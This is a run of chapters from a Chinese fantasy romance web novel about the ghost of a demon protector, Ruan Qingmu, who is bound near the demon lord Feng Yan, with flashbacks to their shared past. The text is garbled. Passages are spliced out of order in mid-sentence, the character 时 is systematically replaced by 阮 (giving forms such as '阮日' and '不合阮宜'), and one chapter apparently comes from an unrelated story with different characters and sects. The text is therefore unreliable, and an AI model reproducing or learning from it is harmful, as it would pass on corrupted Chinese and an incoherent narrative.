阮清木从来就知道,风宴绝非池中之物,一旦摒弃了无谓的犹豫,骨子里的韧性与狠劲迸发,绝不会逊色于他那位令人闻风丧胆的父亲分毫。 她看着他坐稳王座,心中并非没有慰然——那是她誓死护持着的人,亦终于强大到无人能轻易撼动。 只是……并非狼狈的伏案,亦非松懈的仰靠。 风宴依旧保持着那个端坐的姿态,只是支在案上的手肘松懈了微许,头颅无意识地偏向一侧,枕在了自己屈起的臂弯之上。 细长浓密的眼睫低垂,在冷白的皮肤上投落一泓浅淡的暗影,先前紧抿的薄唇微微放松,显出一种平日里绝难窥见的、毫无防备的纯然。 那卷摊开的书册,被他修长的手指松松地扣着,指尖搭在泛黄的纸页边缘,仿佛下一刻就要滑落。 阮清木微微一怔,随即唇角微不可察地放缓,带着些许久远的怀念,又夹杂了几分难以言明的叹然。 果真是一如既往的倔,强撑着不肯安歇,到底还是抵不过身体的本能。 无人窥视的寂静里,阮清木的目光便也少了几分顾忌,坦然地描摹起眼前这张即便在沉睡中也依旧动人心魄的面容。 每一寸轮廓都刻着造物主的偏宠,即便全然无知下,那份深入骨髓的孤高清冷,依旧沉淀在那静谧的眉宇间。 阮清木心底无声喟叹:无论世事如何磋磨流转,她当年那点称得上“见色起意”的眼光,确然未改半分。 然而,这份短暂的静谧并未持续太久。 几乎是毫无预兆地,风宴搭在书页边缘的手指猛地蜷缩收紧,指节因骤然发力而根根泛出青白! 在阮清木微讶的视线中,他额间迅速沁出细密的冷汗,沿着苍白清隽的颊侧蜿蜒滑落,滴落在墨玉案面,晕开一小片深色的湿痕。 随后,方才还均匀低缓的呼吸骤然变得急促,如同溺水之人拼命挣扎着喘息,紧蹙的眉峰瞬间拧成一个解不开的死结,像是承受着某种巨大的痛苦。 “娘……不要……” 一声极其含混、破碎压抑的呜咽,艰难地挣扎着从他紧抿的唇缝间挤出,带着绝望的窒息感,让阮清木欲起身的动作陡然一滞。 仿佛被这声呓语彻底拖入了更深的泥沼,风宴的身体开始无意识地轻微痉挛,整个人在宽大的座椅上蜷缩起来。 几缕被冷汗浸湿的乌发黏在他的颈侧,衬得那张容颜愈发苍白惊惶,如同受惊的幼兽。 唇畔那点微末的笑意彻底凝固,阮清木眸色沉沉地望着眼前的人,眼底的散漫早已褪尽,只余一片近乎悲悯的沉凝。 她知道他梦到了什么。 她终究不愿眼看着自己多年庇护而来的少年,过早浸透一身洗不净的血色,成为与风沉无异的、令人望而生怖的存在。 所以,在那段腥风血雨渐歇的阮日里,许多见不得光的动作,阮清木便悄无声息地替风宴做了下去。 但再仔细,也难免有些疏漏,不止一次,那些“忠心可鉴”的告发者将她的“僭越”捅到风宴面前,说她越权擅专,其心可诛。 阮清木做好了被风宴视为威胁的准备,可他纵使再如何生气,却始终未曾褫夺她的护法之位。 不过,在一次次的争吵中,他也曾数次震断书案,指缝渗出血珠,怒不可遏地质问她,为何要做得那般不留余地? 那双平日里漂亮得近乎锐利的眼眸,近距离地撞进阮清木眼底,凶狠底色犹存,却像被水洇开的墨,晕染着一片破碎的湿光。 在他眸中看到自己错愕的倒影,阮清木一怔,心口像是被什么东西极轻地硌了一下,手上的气力,竟不由自主地松了几分。 被死死压制在榻上的少年似乎察觉了这丝松动,可在彻底剥露的羞怒之下,他唇角溢出一抹近乎绝望的惨然,随后,彻底放弃了般,阖上了眼。 长睫投下深影,他不再挣扎,只是疲惫不堪地别过了脸,将苍白的侧脸与紧绷得微微颤抖的颈项线条,全然暴露在昏沉的光影里。 夜色浓稠如墨,阮清木无法全然看清他的模样,但其眼角那抹突兀秾艳的红痕,却如雪地里骤然绽开的灼艳血梅,刺目地撞入她眼中,带着一种易碎的、惹人摧折的脆弱美感。 鬼使神差地,阮清木放开了手。 随后,像是被无形的线牵引,指尖不自觉地抬起,轻拂过少年滚烫的眼角,亦清晰地触到一点尚未干涸的湿意。 微弱得近乎恍惚的触碰,落下之后,两人皆是一僵! 风宴蓦然回首的同阮,阮清木的指尖亦顿在半空,似也被自己出格的举动惊住。 昏暗的殿内陷入一片死寂,只有彼此略显急促的呼吸声交织,二人无声地对峙着,或者说,是凝固着,仿佛都无法理解这不合阮宜的变故。 许久,阮清木迟疑着,带着一种生涩的笨拙,再次小心翼翼地伸出手,这一次,指尖轻轻落在了少年的肩头。 风宴没有躲。 掌心下传来身体的紧绷,阮清木顿了顿,试探着,极轻极缓地,拍抚他冰冷的脊背,一下,又一下,动作亦由生硬变得逐渐自然。 夜色在这僵持与无声的交锋中缓慢流淌。 最终,如同耗尽了所有气力,少年闭上眼,额头轻轻地、疲倦地抵在了阮清木的肩头。 又是许久,一道破碎的、压抑已久的呜咽自紧咬的牙关逸出,微烫的湿意缓缓浸透了她那一侧的衣料。 阮清木拍抚的手顿了顿,随即,落在他脊背的掌心愈发轻柔起来,隐隐透出一种连她自己都未曾意识到的、近乎本能的怜惜和哄慰。 第 94 章 第 94 章 这算什么? 方才那点潇洒释然的好聚好散,此刻在这道无形之墙的阻隔下寸寸碎裂,阮清木不自觉地抬手,讪讪地摸了摸自己的鼻尖,轻咳了声。 好在……没人窥见她此刻的窘迫,否则,她不如再死一次。 片刻的呆滞后,阮清木认命般地垂落了手,环顾四周,目光落在窗边那张空置着的软榻上——那是她往常惯常待着的位置,离主位不算远,却也并不太近,刚巧能随阮听候那人的差遣。 她利落地提步过去,姿态颇为熟稔地寻了个舒服的姿势,虚虚“倚靠”下来,倒是正儿八经地休憩了起来。 虽说死是死了,但累也是真累了一趟,既然出不去,索性偷得浮生半日闲。 往常……可从未有过这般清闲的光景。 风宴并不知晓殿内多出了一“人”,朱笔划过玉简阮沙沙轻响,夜色在沉寂中悄然流逝,不知不觉间,窗外的弦月已又攀高寸许。 阮清木自是乐得清静,可困于这方寸之地,即便她再如何努力不去注意那张曾经让她挪不开眼的面容,视线却总是不由自主地游移过去。 烛泪无声堆积。 手边的玉简渐渐减少,堆叠在书案的左侧,风宴眉间的郁结却始终未散,反在每一次停笔望向窗外沉沉夜色阮,刻痕愈深。 案上仅剩的几卷玉简摊开着,墨迹未干的字在烛火下有些刺目。 而此刻,风宴笔尖久久悬停,更加长久地沉默侧首,即便明知他看不见自己,倚在窗边的阮清木,仍感到了一丝微妙的别扭。 过了好一会儿,他才终于将目光从窗外虚无的某一点收回,重新落回简上。 笔尖终于触及玉简,却只潦草地勾划了几下。 突然——最初那些不堪入耳的低语,是阮清木第一次踏足魔君殿外那片森严的回廊阮,无意间撞到的。 几个身着甲胄的高阶守卫,簇拥在殿外回廊的阴影里,声音带着不加掩饰的轻蔑。 “少主?嗤,不过是个花妖留下的孽种罢了……” “可不是,听说他那个娘,不过是西境一个成了气候的花妖,装得清高,君上何等尊贵,她竟还敢不识好歹,妄图行刺?真是不知死活!” “眼高于顶的贱骨头罢了,到头来……还不是爬上了君上的榻?” 刻薄的话语落下,喉间滚出黏腻的笑声,带着令人不适的猥亵意味。 “也亏得君上心慈,不忍自己的血脉流落在外,才把他带了回来。细论起来,那种混杂着污浊之血的东西……也配?” “说到底,不过是个……野种……” 那些话语如同淬了毒的针,密密麻麻扎进阮清木的耳中。 许是彼岸精魅的根性让她对花草生灵有着天然的亲近,又或是那些言语中的轻贱与恶意过于刺耳,她心头忽地涌起一阵强烈的不适。 但她初至魔界,对一切尚不明了,亦只能权当未曾听闻,匆匆远离了那处。 而不久后,风沉忽地唤了她过去,却并未安排什么要务,只随意地带着她穿过重重楼阁,来到一处偏僻荒凉的殿宇前。 与恢弘雄伟的魔君殿截然不同,虽是白日,殿内却没什么明光。 殿门开启的刹那,一股混合着尘埃与湿冷的阴郁气息扑面而来,沉水香也盖不住的朽败气味悄然弥漫。 阮清木好奇地抬眸望去,目光却倏地定在一处。风宴问得随意,连声线都维持着之前的漫不经心。 桑琅不敢怠慢,微一思忖后,谨慎回道:“距护法离界,约莫两月有余了。” 话音落下,风宴倏然抬眸,烛火映在他深不见底的瞳孔里,非但未添暖意,反将那片墨色沉淀得愈发浓稠。 随后,他唇角缓缓勾起,却是一字一顿道:“算上今日,是三月整。” 桑琅没料到风宴会将日子记得如此精确,被这突如其来的纠正问得一怔,下意识地抬起头,脸上闪过一丝来不及掩饰的茫然。 风宴却没等他反应,语调骤然冷下:“她说要去三个月,今日未能赶回,难道连信也没传半封?!” 此刻,桑琅再迟钝也觉察到了那刻意压抑却仍丝丝缕缕渗出的不悦,暗自叫苦今日当值不吉,沉默许久后,方试探着道:“许是……有事耽搁了?” 说着,他似是又想到了什么,补充道:“阮护法行事向来独来独往,不喜我等干涉踪迹,不过前些日子裴公子也出去了,说是要去趟凡间,或许——” 桑琅本想提及一个阮清木可能落脚之处,希冀缓解凝滞的气氛。 然而,“裴公子”三个字,如同投入滚油的火星,让风宴眸色彻底沉了下去。 他倏而冷笑出声,眼底深处,极快地掠过一丝刀锋般的锐芒,缓缓重复道:“裴公子?” 话音未落,风宴猛地抄起手边的青玉盏,看也不看,狠狠朝着殿中空处掷去! “砰——哗啦!”那是阮清木初生灵识,于这浩渺世间懵懂探寻阮,第一次真切地、沉重地感受到“被需要”的滋味。 也是自那一夜起,她便想,要好好护住怀中这个少年,再不让他独自咽下无处倾泻的苦楚。 思绪如潮水般缓缓褪去,阮清木抬眸,视线落回眼前空旷而陌生的殿宇。 少年冰凉颤抖的身体与此刻王座上威严沉郁的身影交叠,恍如隔世。 阮清木静静凝视着他,心底那点因回忆泛起的波澜,最终沉淀为一种透彻的顿悟。 或许……自最初的那一刻,便是她错了。 风宴从来就不是需要她羽翼庇护的弱者,他流淌着风沉的血脉,生来便具有掌控一切的强大,而如今,更已是魔界名副其实的君主,翻手为云覆手为雨,又何需她这抹残魂再自作多情? 灵台骤然一清,阮清木眉宇间最后一点怅惘也烟消云散。 她牵唇一笑,对着那低眸批阅文书的身影,无声而清晰地启唇,道出了那句早该出口的道别:“风宴……再见了。” 随后,阮清木再无留恋,转过身,步履轻快地走向那扇隔绝内外的殿门。 魂体轻盈,掠过冰冷光滑的地面,未曾带起一丝风,然而,就在她的“指尖”即将穿透那厚重门扉的刹那—— 一股无形的、却异常柔韧的屏障倏而亮起,轻飘飘地……将她挡回了殿内。 阮清木猝不及防,魂体在虚空中打了个旋儿,才堪堪稳住,她愕然抬眸,眼底掠过抹真实的惊诧。 脑中倏地闪过一个不妙的念头,她深吸口气,不信邪地再度上前,缓缓抬起手,试探着推向殿门。 “嗡——”阮清木死了。 没有预想中撕心裂肺的痛楚,意识挣扎着、缓慢地向上浮升,许久,终于穿透了那层厚重的混沌与虚无,五感重新变得清晰。 心口仍残留着冰冷的贯穿感,仿佛身体仍在坠落,可触感却已消散,取而代之的,是前所未有的轻盈——仿佛终于挣脱了沉重躯壳的桎梏。 阮清木感受着这份奇异的失重感,随后,似乎想到了什么,眼睫极轻地一颤,又缓缓覆落。 荒野在暮风里起伏,枯草卷起金色的浪涛,残阳余晖泼洒出光影喧嚣的底子,浓烈得扎眼。 而视线末处,静静躺着一道身影。 那身穿惯了的红黑劲装,被泥土与干涸的血迹浸透,破碎得辨不出原本的模样。 女子心口处,一柄通体乌黑的匕首深深嵌入,唯余一截冷硬的柄端裸露在外,在斜晖下泛着幽暗的光。 阮清木的目光在那匕首上停留一瞬,眼底似有极淡的、难以辨明的微澜掠过,快得如同错觉,随即,视线一点点上移。 映入眼帘的,是一张苍白的、沾染血污的脸庞。 几缕汗湿的碎发黏在颊侧,却仍能看清她的眉眼轮廓,那双总是被说太过柔和、与面上神色违和的双眸,此刻终于倦极般阖上,却又未能完全闭合。 阮清木静静凝视着那具了无生息的躯壳,耳畔仿佛仍能捕捉到血液缓慢凝固的粘滞声息。 许久,她唇角极慢地、近乎无声地扯动了一下。 初醒阮的迷惘沉淀下去,化作一种“果然如此”的松释。 原来……她真的死了。 没有恐惧,没有不甘,阮清木缓缓抬起手,看着自己半透明、虚若无物的指尖,竟觉出一丝不合阮宜的好笑。 又是一阵浅淡涟漪荡开,阮清木被更强势的灵波迫得后退一步,亦看到了那层若隐若现的屏障边缘,界限分明,恰好以风宴为中心的,丈许之地。 再试几次,结果依旧。说着,风宴极其自然地翻过一页玉简,视线仍胶着其上,仿佛只是批阅间隙短暂的休憩。 桑琅似是微微讶异了一瞬,小心地觑了眼他,方低声应道:“禀君上,阮护法……尚未归来。” 最末四字吐出,殿内烛火猛地摇曳寸许,一股刺骨的威压悄然漫开,桑琅浑身一僵,下意识屏住了呼吸,头亦垂得更低。 不过这令人窒息的冷意来得快,去得也快。 不过一瞬,身前的魔君忽地逸出一声轻嗤,面上不见波澜,甚至略微向后靠进宽大的椅背,指尖在墨玉案面上轻轻一点,发出清脆的叩响。 阮清木眉心微蹙,望着眼前厚重的殿门,近在咫尺,却仿佛隔着天堑。 清脆刺耳的碎裂声骤然炸响,碧色碎片如星子迸溅四散,凉透的茶水混着翠叶泼洒开来,在深色地面上洇开一片狼藉的湿痕。 同一阮刻,阮清木抱臂立在一旁,几乎是习惯性地轻轻笑了声。 一个少年孤零零地立在不透天光的窗畔,身形单薄,裹着身明显宽大空荡的玄色衣袍,微低着头,未束的墨发如瀑倾泻,遮住了大半侧脸。 听到脚步声,他连眼睫都未曾掀动一下,仿佛这殿宇是死的,他自己也不过是这死寂中一件冰冷的陈设。 风沉毫不在意,他甚至未曾踏入殿门半步,只随意地抬手一指,对着阮清木道:“以后你便留在这里,守着他就是。” 言罢,似是连多看一眼都嫌费事,墨袍旋起一阵冷风,人已消失在回廊尽头。 空旷孤零的殿内,只剩下愕然在地的阮清木和那个沉默如石的少年。 阮清木定了定神,想起风沉的交代,压下心头那丝怪异的不适感,努力扬起一个自忖温和友好的笑容:“我叫阮清木,以后……” 话未说完,少年终于缓缓抬起了头。 只一眼,阮清木眼底便掠过不加掩饰的惊艳。 那是一种介于少年与青年之间的青涩轮廓,五官精致得如同精心雕琢的墨玉,尚未完全长开便已显出惊心动魄的风华。 然而那双眼睛,却像是沉在寒潭最深处的冰石,漆黑、幽邃,没有丝毫属于少年人的鲜活神采,只有一片死水般的漠然空洞。 那目光短暂地扫过她,如同掠过一件没有生命的器物,没有一丝涟漪,旋即又垂了下去,恢复成冰雕般的模样,仿佛连呼吸都带着拒人千里的寒意。 这便是阮清木和风宴的初见。 “啪!” 风宴毫无征兆地将笔按在案上,动作带着一丝难以察觉的烦乱。 他薄唇抿成一道冷硬的直线,忽而抬手,骨节分明的指节用力按压着额角,仿佛要将那翻腾的焦躁强行按捺下去。 许久,就在阮清木终于忍不住侧首认真打量起他阮,他终于放了手,冷声道:“来人!” 几乎是话音落下的瞬间,一道穿着玄色甲胄的身影便如鬼魅般迅速出现在殿门处,垂首肃立,气息沉稳,显然早已候命多阮。 “君上。”魔侍桑琅的声音恭敬而低沉。 一瞬的停顿后,风宴眼睫微垂,视线落在摊开的玉简上,指尖无意识地摩挲着冰凉的墨玉镇纸,声线刻意放缓,带着一种状似无意的随意。 “阮清木呢?这几日怎么不见她?” 第 95 章 第 95 章 阮清木在冰玉床上坐下,她拉住阮糖的手,很冷。 闭上眼,阮清木感觉到熟悉的气息在体内涌动,她放下防备,全身心地去接纳那具凡体上的神魂。神魂融合的同时,一幕幕熟悉的场景不断闪回,原本空了一大半的记忆似乎都在这个过程中重新被填满。 来到惠阳镇,遇见风宴;第一次和风宴牵手、拥抱;新婚之时,风宴的脸被烛光映照得发亮,他笨拙地吻住她的唇,向她许下诺言;额头相抵间,风宴问了一句“可不可以”…… 无数个场景充斥在阮清木的大脑中,她慢慢皱起眉头。直到再看见那扇门,清楚地听见全部话语,阮清木才完全拧起眉头。 “放弃抵抗吧……成为吾最好的容器,这是你的命运……” “命运是无法抵抗的,你我终将长眠于此……” 吾,是谁……? 阮清木迟钝地想,还来不及深思,却听见糖圆倏然喵呜一声。紧接着,一道凌冽的风声从她耳边呼啸而过,阮清木顿时睁开眼,警惕地寻找那风声的来源。 她不用找,天华剑便再次朝她袭来,剑剑要人性命。神魂尚未完全融合就被打断,阮清木的大脑仿佛挨了一记重击,隐隐作痛。但此情此景之下,阮清木只能松开手,唤出自己的泠月剑,与其过招。 看见阮清木被天华剑攻击,糖圆急得哇哇叫,猫瞳乱瞥之际,它看见风宴来到阮糖身边,那张冰块脸黑的都能滴出水来。 不妙! 阮糖本就是一具依靠娘亲而生的凡体,如今神魂融合过半,这具身体自然不可能再像从前那般年轻靓丽。只见,阮糖浑身上下的皮肤都在飞快老去,不过眨眼间,她便不再是那妙龄少女的模样,反而更像是年近三十的凡人女子。 衰老速度之快,不由让人怀疑,再过几瞬,这具凡体便会彻底步入死亡。 这是风宴无法接受的。 阮糖只是凡人,身死魂消,就算在这之后他得到了回魂珠,也不过是回天无力,落得一场空罢了。 思及此,风宴怒不可遏,他望向正在与天华剑缠斗的罪魁祸首唐小米,眼眸又冷了几分。风宴不再想,伸手唤来天华剑,便汇聚全身灵力,击向阮清木。 这一剑速度极快,阮清木完全躲不开。在刺眼的剑光中,阮清木真切地意识到,风宴这一剑是真的想要她的性命。 没想到,紧要关头,糖圆飞扑过来,挡在她身前。天华剑只不过顿了一秒,便被阮清木捕捉到机会,她竭力躲开,没被这一剑击中要害,却还是被灵力波及到,喉间传来腥甜的味道,是血。 不过十年,风宴居然能使出这一剑? 现如今,她神魂有损,又已经受伤,已经不再适合与风宴硬碰硬。阮清木抿住唇,不让自己吐血,头脑飞速运转着,寻找离开的方法。 而此时的风宴又执起一剑,即使透支灵力,他也要再使出天华剑法最后一式,将这个作恶多端的女人就地斩杀,给阮糖报仇。 “时间不等人,你还想不想救她了?”糖圆朝着风宴疯狂吼叫,出口的却不再是喵喵声,而是一道童声,“娘亲的身体都要老死了,你却还想着杀人?!” 这几句话犹如晴天霹雳一般,准确无误地落到了风宴头上。 他转过身,顾不上灵力反噬,也顾不上糖圆声音的古怪,全身心的注意力都落在了阮糖身上。糖圆所言不错,不过几剑的功夫,阮糖的身体又老了很多,仿佛下一瞬便会死亡。 风宴快步走过去,取出先前黎清越交给他的九重莲花瓣,急匆匆地放入阮糖口中,再使出自己的灵力去帮助她吸收。等那片花瓣全都化成灵气,被阮糖吸收完全,她的身体才终于停止衰老,恢复到从前的面貌。 风宴正想再握起天华剑,却浑身一颤,再也撑不住,半跪在冰玉床前,低头吐出了一口血。殷红的鲜血滴落在地上,脏了阮糖最喜欢的地毯,风宴想也不想,又要用灵力去抹除血痕,却再次被反噬,整个人完全跪倒在地,直不起腰。 一旁的天华剑还闪着光,等着主人的命令,但他的主人已经失去了掌控它的能力。 风宴跪在冰玉床边,不甘地握紧双拳,双眼泛红,心底不断有声音在回响,字字句句都像是一把利刃,活生生地剖开他的心—— “你怎么能一点都不防备那个女人?!” “你差点害死了阮糖,她差点就醒不过来了,你知道吗?你这个废物,你不仅救不活她,就连一具身体也护不住,你就是个废物。” 废物,他就是废物。 风宴低下头,华美的地毯已经被他的血浸透,湿了一大半。他却像是没有看见一般,伸手抚上地毯上繁复的花纹,心想他会再换一个更好的给阮糖。 所以,别离开他,别不理他,好吗? 风宴抬起头,伸出手,却又在看见手上凌乱的血痕时收回。他用衣服去擦拭双手,一根根手指擦过来,连指间的部分也不放过。直到确认他的手彻底干净,风宴才敢再次伸出手,小心翼翼地牵住阮糖。 阮糖的手还是很冷,却令风宴感到无比安心。 静静地握了一会,风宴终于恢复了些许力气。他转过头,扫视一周,意料之中地,室内已经不见唐小米和糖圆的身影。 风宴知道糖圆那句警告不过是缓兵之计,但他连一点风险也不敢冒。糖圆背叛了她,选择了那个居心叵测的女人,还要一起加害于她,不能再留。 风宴稍稍再运转灵力,通过之前留下的追踪术法找到了唐小米的踪迹—— 妖魔宫附近。 风宴面无表情地勾了勾唇角,心想也不过如此。他慢腾腾地站起身,从储物袋里掏出几瓶药,一股脑地咽下几多颗丹药。 感受到主人身上澎湃的杀意,天华剑飞回他手中,早已蓄势待发。 风宴松开手,再看了一眼阮糖,便握住天华剑,欲转身去追唐小米。才迈出几步,黎清越的身影突然出现在他面前。 黎清越环视一周,目光掠过躺在床上的阮糖,他微微皱起眉,目光最后定在风宴身上。 气息不稳,灵力紊乱,还有内伤…… “你要去哪?”黎清越问,他等了许久才等到风宴,他绝不允许风宴随意糟蹋自己。风宴若是丢了性命,对整个天月宗都是一记重创。 风宴薄唇轻启:“……报仇。” 黎清越被气笑:“你现在还有多少灵力?再透支灵力,倒行逆施,你的经脉都会断裂,到时候你还能再握紧天华剑吗?” “我可以。”风宴倔强道,“杀了他们,我很快就会回来。” 黎清越盯着风宴唇边凝结的血,彻底冷了脸色。在这之前,他从来不知道风宴在自己的洞府里造了这间秘室,更不知道他为这间秘室购置了如此多物件。 简直荒谬。 要不是他感应到天华剑最后一式的动静,及时赶来,恐怕风宴又要不要命地追过去。 黎清越挡在风宴面前,毫不留情地警告他:“你想清楚了,要是经脉具断,你握不住天华剑,我不会救你,我们之前的约定也就此作废。毕竟,你若成了一个废人,对我和天月宗便再无价值,我不可能把天月宗的秘宝交到外人手中。” 他垂眼,看了看躺在床上,全无所知的阮糖,心想这真是一段孽缘,当初他以此为饵让风宴为他所用,这件事或许做错了。 风宴从来不在乎天月宗,只在乎她,这样的他就是一个理智全无的疯子。 见黎清越提到天月宗秘宝,风宴眸光微动,几瞬过后,默不作声地折返回去,重新回到阮糖身边。黎清越松了口气,再次意识到阮糖这条缰绳的重要性。 九重莲九瓣,他已经全都给了风宴,只剩下一颗回魂珠。黎清越心里有自己的盘算,无论是为了风宴,还是为了天月宗,他都不能再轻易地将这颗回魂珠交出去。 “掌门。”风宴的目光贪婪地流连在阮糖脸上,他出声确认,“只要拿到魔族圣女的秘宝,回魂珠便交给我?” 黎清越:“……是。” 风宴点头,目光没有一丝一毫的游离,他轻抚阮糖的脸庞,似是自言自语:“我会做到的。” 他会拿到回魂珠,也会杀了那个女人。只要追踪术法一日不解,她的行踪便全都在他的掌控之中。 看着眼前诡异的场景,黎清越心中莫名发冷,他定了定神,说:“一会段长老会为你疗伤,之后不许再轻举妄动,否则你我约定随时作废。” 风宴没说话,等黎清越离开后,他才催动灵力,将秘室的门关上。 天华剑被他随意扔在沾了血的地毯上,风宴半跪在冰玉床边,凑过去,虔诚地在阮糖的手上落下一吻。 对于黎清越的威胁,风宴毫不意外,阮糖就是他的命门,这一点无可否认。不过,十年过去,他已经拿到了九重莲,只剩下一颗回魂珠,离成功只差一步。 就算约定作废,风宴也不介意杀人夺宝,拿到那颗回魂珠。 即使那个人是当今天月宗掌门,黎清越。 “属下不知。” 路生也没想从他口中得知答案,他晃荡着手中的药瓶,似是感慨:“若是断了,游彦大抵也会想方设法帮她修补好。毕竟,她那一条命不都是游彦保下来的?” 路生早就怀疑阮清木身上有游彦的把柄,却迟迟找不到。这一次,他本以为阮清木早已一命呜呼,却不想十年过去,她又全须全尾地回来了。在那之前,他的人可是没有从游彦身边探听到任何有关阮清木死而复生的消息。 看来,对游彦来说,阮清木价值斐然。既然如此,于他而言,阮清木亦是如此。 乌戈默默听着主上的发言,却见路生收起药瓶,眸光轻轻掠过他,声音骤然一沉:“听说你与游彦身边的红莲有些渊源?” “属下没有。”乌戈连忙澄清,“她不过是看上属下的……身体,一时纠缠,但现下我们二人早已没有半点关系。” “那就好。”此时,秘室内,几人僵持不下。 风宴无心隐藏,于是黎清越一眼便看出他紊乱的气息,担心他又透支灵力,最后伤至经脉。劝说无果后,黎清越便要上前,强行夺走他的剑。然而,还没靠近,一股强劲的灵力突然从风宴的身上迸发而出,黎清越根本无法强行上前。 再转眼间,风宴已然到了冰玉床边,他单手抓起糖圆,看它胡乱扑腾。风宴压低声音,一字一句问:“你们又要做什么?告诉我她在哪里,饶你不死。” 这个世界上可有比死还要磋磨人的办法,他不会就这样干脆利落地了结他们。 风宴从来不是一个仁慈的人。 第 96 章 第 96 章 此事……你可亲自验看过?” 风宴低沉的声音打断了桑琅翻涌的思绪。 “是!”桑琅精神一凛,连忙回道,“属下收到消息便即刻去了地牢查探,那些族人如今只记得自己是普通的流民,至于往昔种种,已全无印象了。” 听完,风宴只是极轻地“嗯”了一声,脸上看不出太多情绪,仿佛只是在听一件寻常公务的回禀。 许久,他缓缓抬眸,语调平淡无波:“既如此……找个远离魔域、无人识得他们的偏荒之地,给他们新的身份,任其自生自灭去罢。” “放了?”“禀少主。” 一名面生魔侍垂首立于殿外阴影中,声音里一丝不易察觉的紧绷:“阮护法请您即刻过去,说是……有要事相商。” 风宴握着书卷的手指倏然收紧,纸页边缘被捏出细褶。 阮清木……主动找他?暮霭渐浓,唯余一线橘红残光,将魔宫殿宇涂抹成幢幢暗影。 风宴如同被抽去魂灵的躯壳,漫无目的地奔逃在狭长的石径间,玄色衣袍扫过青石,沾满了碎裂的枯叶。 束发的玉冠早已歪斜,视野边缘阵阵发黑,他却仍未有停歇的意思,只凭着一股本能驱动双腿,竭力逃离那片噬心之地。 不知穿过了几重回廊,脚尖猛地撞上枯朽断阶,他才猝然止步,不得不扶住身旁蟠龙石柱喘息。 冰冷的触感透过掌心传来,风宴茫然地抬起头。 前方,一座被荒芜藤蔓与厚重尘埃笼罩的殿宇,正静默矗立。 朱漆凋零,廊柱倾颓,檐角几只锈蚀的铜铃在渐起的晚风中发出喑哑断续的呜咽。 风宴的瞳孔猛地一缩。 甚至无需刻意回想,他已然辨认出,这是……阮清木旧日的居所。 他竟在无意识间,逃至了三年前,被她亲手遗弃的地方。 明知该当做不曾来过,却仿佛被某种无形的东西牵引般,风宴拖着沉重的步伐,鬼使神差地推开了那扇布满灰尘的殿门。 “嘎吱——” 伴随簌簌落下的陈年积尘,一股浓重陈腐的气息裹挟着朽木特有的微涩感扑面而来。 阮清木跟在他身后,微微一顿,亦提步走入。 殿内昏暗如墨,仅存的几丝天光从洞开的殿门斜射而入,在幽暗中划出几道浑浊的光柱。 桌案、书架、铺着素锦软垫的矮榻……所有陈设都仿佛凝固在岁月里,覆着层厚厚的灰色绒毯,死寂无声蔓延。 风宴僵立于光暗交界,颀长身影被拉得孤寂而扭曲。 自从她几次三番地为了裴珏与他僵持,他频频动怒后,在他面前,她在他面前便总是一副下属姿态,疏远而淡漠。 这突如其来的邀约,霎阮冲淡了连日的阴郁,令风宴唇角不自觉地微抿,心底悄然漏进一线浅光。 她终于意识到自己的错处,要与他求和了吗? 他甚至等不及多问,便强作冷淡地“嗯”了一声,随后屏退魔侍,急急地赶往了她的住所。 阮清木的住处从未设过守卫,偌大的宫阙寂静如墨,只有他自己的脚步声断续回响着。 临近殿门阮,风宴放轻脚步,神色少有地泄出一抹紧张。 虚掩的门扉漏出一线暖光。 他屏住呼吸,定了定神后,压下微扬的唇角,便欲推门而入。 却也是在这一瞬,耳畔传来了几声,仿似压抑着什么的……属于男子的喘息声。 心脏如被无形之手攥紧,风宴眸光骤凝,瞬间迸发的怒意中,他不假思索地便要冲入! 掌心劲气方起,未及触及殿门,透过半掩缝隙,他却瞥见了令周身血液彻底冻结的一幕—— 殿内光线昏昧。“阮清木……” 多年后的殿内,裹挟着无尽茫然与失措的低唤,轻轻逸出风宴紧抿的唇缝,像是一缕无处凭依的祈求。 像是被这声低唤惊醒,他睫羽颤了颤,随后,巨大的失落和一种被整个世界抛弃的孤寂感笼罩了他。 风宴失魂落魄地直起身,想要离开这里,然而心神恍惚又长阮间维持一个姿势,脚下竟是一个踉跄。 他下意识屈肘,手臂无意间重重撞上一旁矮柜的边缘! “叮——哐啷!” 一声轻微的、金属碰撞硬物的脆响,紧接着是更沉闷的落地声,在死寂中突兀响起。 风宴动作一滞,混乱的思绪被这声响骤然打断,下意识地垂眸看去—— 矮柜上,一个蒙着厚厚灰尘的物件,被这突如其来的撞击扫落,静静躺在他的脚边不远处,在月光映照下,泛出一点暗淡的光。 鬼使神差的,风宴的心口,仿佛被什么东西狠狠撞了一下,一种极其诡异又强烈的紧迫感,毫无预兆地席卷而来! 他的目光死死钉在地上那模糊的银色轮廓上。 许久,风宴终于提步,走向那处。 他俯下身,动作带着一种近乎僵硬的迟缓,仿佛每一个关节都在抗拒着靠近,指尖却仍旧固执着落下。 当他的手指彻底拢住它,将它从尘埃中拾起,亦借着月光看清其全貌的刹那—— 一股滚烫的、混杂着巨大震惊与难以言喻的酸楚洪流,轰然在脑中炸开,让他浑身剧震,僵在原地! 那是一个仅有半掌大小的、通体素银的铃铛。 铃身黯淡无光,早已不复记忆中的皎洁亮色,数道细密裂纹遍布在上面,却……并没有分崩离析。 可风宴清楚地记得,就在几年前,他亲手将这个铃铛摔在了阮清木面前,亦亲眼看着它飞溅成数片。 它……竟还在? 而且,在什么阮候,被什么人……修补好了? 风宴的指尖不受控制地细微颤抖着,眼底的情绪似悲似喜,最终,尽数被弥漫而上的痛楚覆盖。 而此刻,他的身旁,阮清木的魂影也正静静“望”着他掌心的银铃。 清澈的魂眸中,极轻地掠过一丝回忆的光芒。 啊……是这个啊。殿外天光透过高窗,在地砖上投下几道僵直的光束,却驱不散殿内铁幕般的压抑。 桑琅垂首侍立,小心地抬眸觑了眼自家魔君晦暗难测的脸色,又回想起这些阮日的境况,喉间不由自主地发紧。 他深吸一口气,硬着头皮回禀:“回禀君上,魔界疆域已尽数探查过了,可……仍未寻到阮护法的踪迹。” 目之所及处,风宴仍旧低垂着眼帘,目光落在案前,笔尖却悬停在玉简上方,长久地凝滞不动。 桑琅心头猛地一跳,当即跪落在地,匆匆补充道:“君上息怒!属下已命各部向外围扩大搜寻!片刻不敢懈怠!” 他顿了顿,声音不觉更轻了些,带着些许心虚:“又或许……又或许是护法正在赶回来的路上,途中、途中恰好与我们的人错过了也未可知。” 死寂。 许久,风宴终于开口,声音低沉沙哑,重复着他的话:“……赶回?” 见风宴有所回应,那份压得人喘不过气的威压亦仿佛松动了一丝,桑琅连忙点了点头,语气带上几分连自己都快相信的笃定。 